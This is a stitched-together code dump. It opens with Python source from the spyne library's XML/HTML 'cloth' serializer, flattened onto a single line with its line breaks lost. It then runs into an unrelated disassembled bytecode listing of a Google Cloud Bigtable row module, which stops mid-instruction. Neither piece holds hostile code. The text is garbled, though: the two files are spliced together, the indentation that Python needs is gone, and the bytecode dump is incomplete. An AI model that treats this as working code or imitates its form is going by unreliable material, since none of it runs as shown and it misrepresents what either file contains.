curtag = parent.element(cloth.tag, cloth_attrib, **kwargs) curtag.__enter__() if cloth.text is not None: parent.write(cloth.text) rootstack.add(cloth.getroottree().getroot()) cureltstack = eltstack[rootstack.back] curctxstack = ctxstack[rootstack.back] cureltstack.append(cloth) curctxstack.append(curtag) logger_c.debug("") def _close_cloth(self, ctx, parent): rootstack = ctx.protocol.rootstack close_until = rootstack.back cureltstack = ctx.protocol.eltstack[close_until] curctxstack = ctx.protocol.ctxstack[close_until] for elt, elt_ctx in reversed(tuple(zip(cureltstack, curctxstack))): if elt_ctx is not None: self.event_manager.fire_event(("before_exit", elt), ctx, parent) elt_ctx.__exit__(None, None, None) logger_c.debug("exit %s close", elt.tag) if elt.tail is not None: parent.write(elt.tail) for sibl in elt.itersiblings(preceding=False): logger_c.debug("write %s nextsibl", sibl.tag) parent.write(sibl) if sibl.tail is not None: parent.write(sibl.tail) if elt is close_until: logger_c.debug("closed until %r, breaking out", close_until) break del ctx.protocol.eltstack[close_until] del ctx.protocol.ctxstack[close_until] if len(rootstack) > 0: rootstack.pop() @coroutine def to_parent_cloth( self, ctx, cls, inst, cloth, parent, name, from_arr=False, **kwargs ): cls_cloth = self.get_class_cloth(cls) if cls_cloth is not None: logger_c.debug("%r to object cloth", cls) cloth = cls_cloth ctx.protocol[self].rootstack.add(cloth) ret = self.to_cloth(ctx, cls, inst, cloth, parent, "") if isgenerator(ret): try: while True: sv2 = yield ret.send(sv2) except Break as e: try: ret.throw(e) except (Break, StopIteration, GeneratorExit): pass @coroutine def to_root_cloth(self, ctx, cls, inst, cloth, parent, name): if len(ctx.protocol.eltstack) > 0: ctx.protocol[self].rootstack.add(cloth) cls_attrs = self.get_cls_attrs(cls) self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method) ret = self.start_to_parent(ctx, cls, inst, parent, name) if isgenerator(ret): try: while True: sv2 = yield ret.send(sv2) except Break as e: try: ret.throw(e) except (Break, StopIteration, GeneratorExit): pass @coroutine def to_cloth( self, ctx, cls, inst, cloth, parent, name=None, from_arr=False, as_attr=False, as_data=False, **kwargs ): prot_name = self.__class__.__name__ if issubclass(cls, XmlAttribute): cls = cls.type as_attr = True elif issubclass(cls, XmlData): cls = cls.type as_data = True pushed = False if cloth is None: logger_c.debug("No cloth fround, switching to to_parent...") ret = self.to_parent(ctx, cls, inst, parent, name, **kwargs) else: cls, _ = self.get_polymorphic_target(cls, inst) cls_attrs = self.get_cls_attrs(cls) inst = self._sanitize(cls_attrs, inst) _df = cls_attrs.default_factory if inst is None and callable(_df): inst = _df() if inst is None: inst = cls_attrs.default subprot = cls_attrs.prot if subprot is not None and not (subprot is self): assert not as_attr, ( "No subprot supported for fields " "to be serialized as attributes, use type casting with " "customized serializers in the current protocol instead." ) self._enter_cloth( ctx, cloth, parent, method=cls_attrs.method, skip=as_data ) ret = subprot.subserialize( ctx, cls, inst, parent, name, as_attr=as_attr, as_data=as_data, **kwargs ) else: ret = None if inst is None: if cls_attrs.min_occurs > 0: attrs = {} if as_attr: attrs[name] = "" self._enter_cloth( ctx, cloth, parent, attrib=attrs, method=cls_attrs.method ) identifier = "%s.%s" % (prot_name, "null_to_cloth") logger_s.debug( "Writing '%s' using %s type: %s.", name, identifier, cls.get_type_name(), ) parent.write(cloth) else: logger_s.debug( "Skipping '%s' type: %s because empty.", name, cls.get_type_name(), ) self._enter_cloth( ctx, cloth, parent, skip=True, method=cls_attrs.method ) elif as_data: ret = self.to_unicode(cls, inst) if ret is not None: parent.write(ret) elif as_attr: sub_name = cls_attrs.sub_name if sub_name is None: sub_name = name attrs = {sub_name: self.to_unicode(cls, inst)} self._enter_cloth( ctx, cloth, parent, attrib=attrs, method=cls_attrs.method ) else: pushed = True logger_c.debug("%s %r pushed %r %r", R("#"), self, cls, inst) ctx.outprot_ctx.inst_stack.append((cls, inst, from_arr)) if not from_arr and cls.Attributes.max_occurs > 1: ret = self.array_to_cloth( ctx, cls, inst, cloth, parent, as_attr=as_attr, name=name ) else: handler = self.rendering_handlers[cls] ret = handler( ctx, cls, inst, cloth, parent, name=name, as_attr=as_attr ) if isgenerator(ret): try: while True: sv2 = yield ret.send(sv2) except Break as e: try: ret.throw(e) except (Break, StopIteration, GeneratorExit): pass finally: if pushed: logger_c.debug("%s %r popped %r %r", B("#"), self, cls, inst) ctx.outprot_ctx.inst_stack.pop() else: if pushed: logger_c.debug("%s %r popped %r %r", B("#"), self, cls, inst) ctx.outprot_ctx.inst_stack.pop() def model_base_to_cloth(self, ctx, cls, inst, cloth, parent, name, **kwargs): cls_attrs = self.get_cls_attrs(cls) self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method) if self.WRITE_CONTENTS_WHEN_NOT_NONE in cloth.attrib: logger_c.debug("Writing contents for %r", cloth) for c in cloth: parent.write(c) else: parent.write(self.to_unicode(cls, inst)) def xml_to_cloth(self, ctx, cls, inst, cloth, parent, name, **_): cls_attrs = self.get_cls_attrs(cls) self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method) if isinstance(inst, string_types): inst = etree.fromstring(inst) parent.write(inst) def any_to_cloth(self, ctx, cls, inst, cloth, parent, name, **_): cls_attrs = self.get_cls_attrs(cls) self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method) parent.write(inst) def html_to_cloth(self, ctx, cls, inst, cloth, parent, name, **_): cls_attrs = self.get_cls_attrs(cls) self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method) if isinstance(inst, string_types): inst = html.fromstring(inst) parent.write(inst) def any_uri_to_cloth(self, ctx, cls, inst, cloth, parent, name, **kwargs): cls_attrs = self.get_cls_attrs(cls) self._enter_cloth(ctx, cloth, parent, method=cls_attrs.method) self.any_uri_to_parent(ctx, cls, inst, parent, name, **kwargs) @coroutine def complex_to_cloth( self, ctx, cls, inst, cloth, parent, name=None, as_attr=False, **kwargs ): fti = cls.get_flat_type_info(cls) cls_attrs = self.get_cls_attrs(cls) fti_check = dict(fti.items()) elt_check = set() attrib = self._gen_attrib_dict(inst, fti) self._enter_cloth(ctx, cloth, parent, attrib=attrib, method=cls_attrs.method) for elt in self._get_elts(cloth, self.MRPC_ID): self._actions_to_cloth(ctx, cls, inst, elt) if self._is_tagbag(cloth): logger_c.debug("%r(%r) IS a tagbag", cloth, cloth.attrib) elts = self._get_elts(cloth) else: logger_c.debug("%r(%r) is NOT a tagbag", cloth, cloth.attrib) elts = self._get_outmost_elts(cloth) as_data_field = cloth.attrib.get(self.DATA_ATTR_NAME, None) if as_data_field is not None: self._process_field( ctx, cls, inst, parent, cloth, fti, as_data_field, as_attr, True, fti_check, elt_check, **kwargs ) for elt in elts: for k_attr, as_attr, as_data in ( (self.ID_ATTR_NAME, False, False), (self.ATTR_ATTR_NAME, True, False), (self.DATA_ATTR_NAME, False, True), ): field_name = elt.attrib.get(k_attr, None) if field_name is None: continue if elt.tag == self.DATA_TAG_NAME: as_data = True ret = self._process_field( ctx, cls, inst, parent, elt, fti, field_name, as_attr=as_attr, as_data=as_data, fti_check=fti_check, elt_check=elt_check, **kwargs ) if isgenerator(ret): try: while True: sv2 = yield ret.send(sv2) except Break as e: try: ret.throw(e) except StopIteration: pass finally: if not (as_attr or as_data): break else: if not (as_attr or as_data): break if len(fti_check) > 0: logger_s.debug( "No element found for the following fields: %r", list(fti_check.keys()) ) if len(elt_check) > 0: logger_s.debug( "No field found for element the following " "elements: %r", list(elt_check), ) def _process_field( self, ctx, cls, inst, parent, elt, fti, field_name, as_attr, as_data, fti_check, elt_check, **kwargs ): field_type = fti.get(field_name, None) fti_check.pop(field_name, None) if field_type is None: logger_c.warning("elt id %r not in %r", field_name, cls) elt_check.add(field_name) self._enter_cloth(ctx, elt, parent, skip=True) return cls_attrs = self.get_cls_attrs(field_type) if cls_attrs.exc: logger_c.debug("Skipping elt id %r because " "it was excluded", field_name) return sub_name = cls_attrs.sub_name if sub_name is None: sub_name = field_name if issubclass(cls, Array): val = inst else: val = getattr(inst, field_name, None) if as_data: self._enter_cloth( ctx, elt, parent, skip=True, skip_dupe=True, method=cls_attrs.method ) return self.to_cloth( ctx, field_type, val, elt, parent, name=sub_name, as_attr=as_attr, as_data=as_data, **kwargs ) @coroutine def array_to_cloth(self, ctx, cls, inst, cloth, parent, name=None, **kwargs): if isinstance(inst, PushBase): while True: sv = yield ret = self.to_cloth( ctx, cls, sv, cloth, parent, name=name, from_arr=True, **kwargs ) if isgenerator(ret): try: while True: sv2 = yield ret.send(sv2) except Break as e: try: ret.throw(e) except StopIteration: pass else: sv = _NODATA for sv in inst: was_empty = False ret = self.to_cloth( ctx, cls, sv, cloth, parent, from_arr=True, name=name, **kwargs ) if isgenerator(ret): try: while True: sv2 = yield ret.send(sv2) except Break as e: try: ret.throw(e) except StopIteration: pass if sv is _NODATA: self._enter_cloth(ctx, cloth, parent, skip=True)
data/spyne-2.14.0/spyne/protocol/cloth/to_cloth.py
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LOAD_CONST 'User friendly container for Google Cloud Bigtable Row.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME struct STORE_NAME struct LOAD_CONST 0 LOAD_CONST None IMPORT_NAME six STORE_NAME six LOAD_CONST 0 LOAD_CONST ('_datetime_from_microseconds',) IMPORT_NAME gcloud._helpers IMPORT_FROM _datetime_from_microseconds STORE_NAME _datetime_from_microseconds POP_TOP LOAD_CONST 0 LOAD_CONST ('_microseconds_from_datetime',) IMPORT_NAME gcloud._helpers IMPORT_FROM _microseconds_from_datetime STORE_NAME _microseconds_from_datetime POP_TOP LOAD_CONST 0 LOAD_CONST ('_to_bytes',) IMPORT_NAME gcloud._helpers IMPORT_FROM _to_bytes STORE_NAME _to_bytes POP_TOP LOAD_CONST 0 LOAD_CONST ('data_pb2',) IMPORT_NAME gcloud.bigtable._generated IMPORT_FROM data_pb2 STORE_NAME data_v2_pb2 POP_TOP LOAD_CONST 0 LOAD_CONST ('bigtable_pb2',) IMPORT_NAME gcloud.bigtable._generated IMPORT_FROM bigtable_pb2 STORE_NAME messages_v2_pb2 POP_TOP LOAD_NAME struct LOAD_METHOD Struct LOAD_CONST '>q' CALL_METHOD LOAD_ATTR pack STORE_NAME _PACK_I64 LOAD_CONST 100000 STORE_NAME MAX_MUTATIONS LOAD_BUILD_CLASS LOAD_CONST <code object Row at 0x7fab81f0b930, file "f.py", line 21> LOAD_CONST 'Row' MAKE_FUNCTION LOAD_CONST 'Row' LOAD_NAME object CALL_FUNCTION STORE_NAME Row LOAD_BUILD_CLASS LOAD_CONST <code object _SetDeleteRow at 0x7fab7002bc90, file "f.py", line 43> LOAD_CONST '_SetDeleteRow' MAKE_FUNCTION LOAD_CONST '_SetDeleteRow' LOAD_NAME Row CALL_FUNCTION STORE_NAME _SetDeleteRow LOAD_BUILD_CLASS LOAD_CONST <code object DirectRow at 0x7fab82236930, file "f.py", line 195> LOAD_CONST 'DirectRow' MAKE_FUNCTION LOAD_CONST 'DirectRow' LOAD_NAME _SetDeleteRow CALL_FUNCTION STORE_NAME DirectRow LOAD_BUILD_CLASS LOAD_CONST <code object ConditionalRow at 0x7fab82236a50, file "f.py", line 381> LOAD_CONST 'ConditionalRow' MAKE_FUNCTION LOAD_CONST 'ConditionalRow' LOAD_NAME _SetDeleteRow CALL_FUNCTION STORE_NAME ConditionalRow LOAD_BUILD_CLASS LOAD_CONST <code object AppendRow at 0x7fab82236d20, file "f.py", line 620> LOAD_CONST 'AppendRow' MAKE_FUNCTION LOAD_CONST 'AppendRow' LOAD_NAME Row CALL_FUNCTION STORE_NAME AppendRow LOAD_CONST <code object _parse_rmw_row_response at 0x7fab82236e40, file "f.py", line 785> LOAD_CONST '_parse_rmw_row_response' MAKE_FUNCTION STORE_NAME _parse_rmw_row_response LOAD_CONST <code object _parse_family_pb at 0x7fab822361e0, file "f.py", line 825> LOAD_CONST '_parse_family_pb' MAKE_FUNCTION STORE_NAME _parse_family_pb LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Row' STORE_NAME __qualname__ LOAD_CONST 'Base representation of a Google Cloud Bigtable Row.\n\n This class has three subclasses corresponding to the three\n RPC methods for sending row mutations:\n\n * :class:`DirectRow` for ``MutateRow``\n * :class:`ConditionalRow` for ``CheckAndMutateRow``\n * :class:`AppendRow` for ``ReadModifyWriteRow``\n\n :type row_key: bytes\n :param row_key: The key for the current row.\n\n :type table: :class:`Table <gcloud.bigtable.table.Table>`\n :param table: The table that owns the row.\n ' STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fab64179810, file "f.py", line 38> LOAD_CONST 'Row.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _to_bytes LOAD_FAST row_key CALL_FUNCTION LOAD_FAST self STORE_ATTR _row_key LOAD_FAST table LOAD_FAST self STORE_ATTR _table LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_SetDeleteRow' STORE_NAME __qualname__ LOAD_CONST 'Row helper for setting or deleting cell values.\n\n Implements helper methods to add mutations to set or delete cell contents:\n\n * :meth:`set_cell`\n * :meth:`delete`\n * :meth:`delete_cell`\n * :meth:`delete_cells`\n\n :type row_key: bytes\n :param row_key: The key for the current row.\n\n :type table: :class:`Table <gcloud.bigtable.table.Table>`\n :param table: The table that owns the row.\n ' STORE_NAME __doc__ LOAD_NAME object CALL_FUNCTION STORE_NAME ALL_COLUMNS LOAD_CONST <code object _get_mutations at 0x7fab81f0b8a0, file "f.py", line 63> LOAD_CONST '_SetDeleteRow._get_mutations' MAKE_FUNCTION STORE_NAME _get_mutations LOAD_CONST (None, None) LOAD_CONST <code object _set_cell at 0x7fab81f0bf60, file "f.py", line 79> LOAD_CONST '_SetDeleteRow._set_cell' MAKE_FUNCTION STORE_NAME _set_cell LOAD_CONST (None,) LOAD_CONST <code object _delete at 0x7fab81f0b780, file "f.py", line 127> LOAD_CONST '_SetDeleteRow._delete' MAKE_FUNCTION STORE_NAME _delete LOAD_CONST (None, None) LOAD_CONST <code object _delete_cells at 0x7fab7002b5d0, file "f.py", line 144> LOAD_CONST '_SetDeleteRow._delete_cells' MAKE_FUNCTION STORE_NAME _delete_cells LOAD_CONST None RETURN_VALUE LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _to_bytes LOAD_FAST column CALL_FUNCTION STORE_FAST column LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL six LOAD_ATTR integer_types CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL _PACK_I64 LOAD_FAST value CALL_FUNCTION STORE_FAST value LOAD_GLOBAL _to_bytes LOAD_FAST value CALL_FUNCTION STORE_FAST value LOAD_FAST timestamp LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST -1 STORE_FAST timestamp_micros JUMP_FORWARD to 70 LOAD_GLOBAL _microseconds_from_datetime LOAD_FAST timestamp CALL_FUNCTION STORE_FAST timestamp_micros LOAD_FAST timestamp_micros LOAD_FAST timestamp_micros LOAD_CONST 1000 BINARY_MODULO INPLACE_SUBTRACT STORE_FAST timestamp_micros LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_ATTR SetCell LOAD_FAST column_family_id LOAD_FAST column LOAD_FAST timestamp_micros LOAD_FAST value LOAD_CONST ('family_name', 'column_qualifier', 'timestamp_micros', 'value') CALL_FUNCTION STORE_FAST mutation_val LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_FAST mutation_val LOAD_CONST ('set_cell',) CALL_FUNCTION STORE_FAST mutation_pb LOAD_FAST self LOAD_METHOD _get_mutations LOAD_FAST state CALL_METHOD LOAD_METHOD append LOAD_FAST mutation_pb CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_METHOD DeleteFromRow CALL_METHOD STORE_FAST mutation_val LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_FAST mutation_val LOAD_CONST ('delete_from_row',) CALL_FUNCTION STORE_FAST mutation_pb LOAD_FAST self LOAD_METHOD _get_mutations LOAD_FAST state CALL_METHOD LOAD_METHOD append LOAD_FAST mutation_pb CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_mutations LOAD_FAST state CALL_METHOD STORE_FAST mutations_list LOAD_FAST columns LOAD_FAST self LOAD_ATTR ALL_COLUMNS COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_ATTR DeleteFromFamily LOAD_FAST column_family_id LOAD_CONST ('family_name',) CALL_FUNCTION STORE_FAST mutation_val LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_FAST mutation_val LOAD_CONST ('delete_from_family',) CALL_FUNCTION STORE_FAST mutation_pb LOAD_FAST mutations_list LOAD_METHOD append LOAD_FAST mutation_pb CALL_METHOD POP_TOP JUMP_FORWARD to 168 BUILD_MAP STORE_FAST delete_kwargs LOAD_FAST time_range LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST time_range LOAD_METHOD to_pb CALL_METHOD LOAD_FAST delete_kwargs LOAD_CONST 'time_range' STORE_SUBSCR BUILD_LIST STORE_FAST to_append SETUP_LOOP to 158 LOAD_FAST columns GET_ITER FOR_ITER to 156 STORE_FAST column LOAD_GLOBAL _to_bytes LOAD_FAST column CALL_FUNCTION STORE_FAST column LOAD_FAST delete_kwargs LOAD_ATTR update LOAD_FAST column_family_id LOAD_FAST column LOAD_CONST ('family_name', 'column_qualifier') CALL_FUNCTION POP_TOP LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_ATTR DeleteFromColumn BUILD_TUPLE LOAD_FAST delete_kwargs CALL_FUNCTION STORE_FAST mutation_val LOAD_GLOBAL data_v2_pb2 LOAD_ATTR Mutation LOAD_FAST mutation_val LOAD_CONST ('delete_from_column',) CALL_FUNCTION STORE_FAST mutation_pb LOAD_FAST to_append LOAD_METHOD append LOAD_FAST mutation_pb CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST mutations_list LOAD_METHOD extend LOAD_FAST to_append CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DirectRow' STORE_NAME __qualname__ LOAD_CONST 'Google Cloud Bigtable Row for sending "direct" mutations.\n\n These mutations directly set or delete cell contents:\n\n * :meth:`set_cell`\n * :meth:`delete`\n * :meth:`delete_cell`\n * :meth:`delete_cells`\n\n These methods can be used directly::\n\n >>> row = table.row(b\'row-key1\')\n >>> row.set_cell(u\'fam\', b\'col1\', b\'cell-val\')\n >>> row.delete_cell(u\'fam\', b\'col2\')\n\n .. note::\n\n A :class:`DirectRow` accumulates mutations locally via the\n :meth:`set_cell`, :meth:`delete`, :meth:`delete_cell` and\n :meth:`delete_cells` methods. To actually send these mutations to the\n Google Cloud Bigtable API, you must call :meth:`commit`.\n\n :type row_key: bytes\n :param row_key: The key for the current row.\n\n :type table: :class:`Table <gcloud.bigtable.table.Table>`\n :param table: The table that owns the row.\n ' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab701acf60, file "f.py", line 225> LOAD_CONST 'DirectRow.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _get_mutations at 0x7fab701acb70, file "f.py", line 229> LOAD_CONST 'DirectRow._get_mutations' MAKE_FUNCTION STORE_NAME _get_mutations LOAD_CONST (None,) LOAD_CONST <code object set_cell at 0x7fab701ac780, file "f.py", line 244> LOAD_CONST 'DirectRow.set_cell' MAKE_FUNCTION STORE_NAME set_cell LOAD_CONST <code object delete at 0x7fab701ac270, file "f.py", line 277> LOAD_CONST 'DirectRow.delete' MAKE_FUNCTION STORE_NAME delete LOAD_CONST (None,) LOAD_CONST <code object delete_cell at 0x7fab701acae0, file "f.py", line 289> LOAD_CONST 'DirectRow.delete_cell' MAKE_FUNCTION STORE_NAME delete_cell LOAD_CONST (None,) LOAD_CONST <code object delete_cells at 0x7fab701ac9c0, file "f.py", line 316> LOAD_CONST 'DirectRow.delete_cells' MAKE_FUNCTION STORE_NAME delete_cells LOAD_CONST <code object commit at 0x7fab82236c00, file "f.py", line 343> LOAD_CONST 'DirectRow.commit' MAKE_FUNCTION STORE_NAME commit LOAD_CONST <code object clear at 0x7fab822368a0, file "f.py", line 376> LOAD_CONST 'DirectRow.clear' MAKE_FUNCTION STORE_NAME clear LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL DirectRow LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST row_key LOAD_FAST table CALL_METHOD POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR _pb_mutations LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _pb_mutations RETURN_VALUE LOAD_FAST self LOAD_ATTR _set_cell LOAD_FAST column_family_id LOAD_FAST column LOAD_FAST value LOAD_FAST timestamp LOAD_CONST None LOAD_CONST ('timestamp', 'state') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete LOAD_CONST None LOAD_CONST ('state',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete_cells LOAD_FAST column_family_id LOAD_FAST column BUILD_LIST LOAD_FAST time_range LOAD_CONST None LOAD_CONST ('time_range', 'state') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete_cells LOAD_FAST column_family_id LOAD_FAST columns LOAD_FAST time_range LOAD_CONST None LOAD_CONST ('time_range', 'state') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_mutations LOAD_CONST None CALL_METHOD STORE_FAST mutations_list LOAD_GLOBAL len LOAD_FAST mutations_list CALL_FUNCTION STORE_FAST num_mutations LOAD_FAST num_mutations LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST num_mutations LOAD_GLOBAL MAX_MUTATIONS COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST '%d total mutations exceed the maximum allowable %d.' LOAD_FAST num_mutations LOAD_GLOBAL MAX_MUTATIONS BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL messages_v2_pb2 LOAD_ATTR MutateRowRequest LOAD_FAST self LOAD_ATTR _table LOAD_ATTR name LOAD_FAST self LOAD_ATTR _row_key LOAD_FAST mutations_list LOAD_CONST ('table_name', 'row_key', 'mutations') CALL_FUNCTION STORE_FAST request_pb LOAD_FAST self LOAD_ATTR _table LOAD_ATTR _instance LOAD_ATTR _client STORE_FAST client LOAD_FAST client LOAD_ATTR _data_stub LOAD_METHOD MutateRow LOAD_FAST request_pb LOAD_FAST client LOAD_ATTR timeout_seconds CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD clear CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _pb_mutations LOAD_CONST None LOAD_CONST None BUILD_SLICE DELETE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ConditionalRow' STORE_NAME __qualname__ LOAD_CONST "Google Cloud Bigtable Row for sending mutations conditionally.\n\n Each mutation has an associated state: :data:`True` or :data:`False`.\n When :meth:`commit`-ed, the mutations for the :data:`True`\n state will be applied if the filter matches any cells in\n the row, otherwise the :data:`False` state will be applied.\n\n A :class:`ConditionalRow` accumulates mutations in the same way a\n :class:`DirectRow` does:\n\n * :meth:`set_cell`\n * :meth:`delete`\n * :meth:`delete_cell`\n * :meth:`delete_cells`\n\n with the only change the extra ``state`` parameter::\n\n >>> row_cond = table.row(b'row-key2', filter_=row_filter)\n >>> row_cond.set_cell(u'fam', b'col', b'cell-val', state=True)\n >>> row_cond.delete_cell(u'fam', b'col', state=False)\n\n .. note::\n\n As with :class:`DirectRow`, to actually send these mutations to the\n Google Cloud Bigtable API, you must call :meth:`commit`.\n\n :type row_key: bytes\n :param row_key: The key for the current row.\n\n :type table: :class:`Table <gcloud.bigtable.table.Table>`\n :param table: The table that owns the row.\n\n :type filter_: :class:`.RowFilter`\n :param filter_: Filter to be used for conditional mutations.\n " STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab822369c0, file "f.py", line 418> LOAD_CONST 'ConditionalRow.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _get_mutations at 0x7fab82236b70, file "f.py", line 424> LOAD_CONST 'ConditionalRow._get_mutations' MAKE_FUNCTION STORE_NAME _get_mutations LOAD_CONST <code object commit at 0x7fab82236150, file "f.py", line 446> LOAD_CONST 'ConditionalRow.commit' MAKE_FUNCTION STORE_NAME commit LOAD_CONST (None, True) LOAD_CONST <code object set_cell at 0x7fab82236c90, file "f.py", line 494> LOAD_CONST 'ConditionalRow.set_cell' MAKE_FUNCTION STORE_NAME set_cell LOAD_CONST (True,) LOAD_CONST <code object delete at 0x7fab822366f0, file "f.py", line 534> LOAD_CONST 'ConditionalRow.delete' MAKE_FUNCTION STORE_NAME delete LOAD_CONST (None, True) LOAD_CONST <code object delete_cell at 0x7fab82236540, file "f.py", line 550> LOAD_CONST 'ConditionalRow.delete_cell' MAKE_FUNCTION STORE_NAME delete_cell LOAD_CONST (None, True) LOAD_CONST <code object delete_cells at 0x7fab82236ae0, file "f.py", line 581> LOAD_CONST 'ConditionalRow.delete_cells' MAKE_FUNCTION STORE_NAME delete_cells LOAD_CONST <code object clear at 0x7fab82236810, file "f.py", line 614> LOAD_CONST 'ConditionalRow.clear' MAKE_FUNCTION STORE_NAME clear LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL ConditionalRow LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST row_key LOAD_FAST table CALL_METHOD POP_TOP LOAD_FAST filter_ LOAD_FAST self STORE_ATTR _filter BUILD_LIST LOAD_FAST self STORE_ATTR _true_pb_mutations BUILD_LIST LOAD_FAST self STORE_ATTR _false_pb_mutations LOAD_CONST None RETURN_VALUE LOAD_FAST state POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _true_pb_mutations RETURN_VALUE LOAD_FAST self LOAD_ATTR _false_pb_mutations RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _get_mutations LOAD_CONST True LOAD_CONST ('state',) CALL_FUNCTION STORE_FAST true_mutations LOAD_FAST self LOAD_ATTR _get_mutations LOAD_CONST False LOAD_CONST ('state',) CALL_FUNCTION STORE_FAST false_mutations LOAD_GLOBAL len LOAD_FAST true_mutations CALL_FUNCTION STORE_FAST num_true_mutations LOAD_GLOBAL len LOAD_FAST false_mutations CALL_FUNCTION STORE_FAST num_false_mutations LOAD_FAST num_true_mutations LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST num_false_mutations LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST num_true_mutations LOAD_GLOBAL MAX_MUTATIONS COMPARE_OP > POP_JUMP_IF_TRUE LOAD_FAST num_false_mutations LOAD_GLOBAL MAX_MUTATIONS COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Exceed the maximum allowable mutations (%d). Had %s true mutations and %d false mutations.' LOAD_GLOBAL MAX_MUTATIONS LOAD_FAST num_true_mutations LOAD_FAST num_false_mutations BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL messages_v2_pb2 LOAD_ATTR CheckAndMutateRowRequest LOAD_FAST self LOAD_ATTR _table LOAD_ATTR name LOAD_FAST self LOAD_ATTR _row_key LOAD_FAST self LOAD_ATTR _filter LOAD_METHOD to_pb CALL_METHOD LOAD_FAST true_mutations LOAD_FAST false_mutations LOAD_CONST ('table_name', 'row_key', 'predicate_filter', 'true_mutations', 'false_mutations') CALL_FUNCTION STORE_FAST request_pb LOAD_FAST self LOAD_ATTR _table LOAD_ATTR _instance LOAD_ATTR _client STORE_FAST client LOAD_FAST client LOAD_ATTR _data_stub LOAD_METHOD CheckAndMutateRow LOAD_FAST request_pb LOAD_FAST client LOAD_ATTR timeout_seconds CALL_METHOD STORE_FAST resp LOAD_FAST self LOAD_METHOD clear CALL_METHOD POP_TOP LOAD_FAST resp LOAD_ATTR predicate_matched RETURN_VALUE LOAD_FAST self LOAD_ATTR _set_cell LOAD_FAST column_family_id LOAD_FAST column LOAD_FAST value LOAD_FAST timestamp LOAD_FAST state LOAD_CONST ('timestamp', 'state') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete LOAD_FAST state LOAD_CONST ('state',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete_cells LOAD_FAST column_family_id LOAD_FAST column BUILD_LIST LOAD_FAST time_range LOAD_FAST state LOAD_CONST ('time_range', 'state') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _delete_cells LOAD_FAST column_family_id LOAD_FAST columns LOAD_FAST 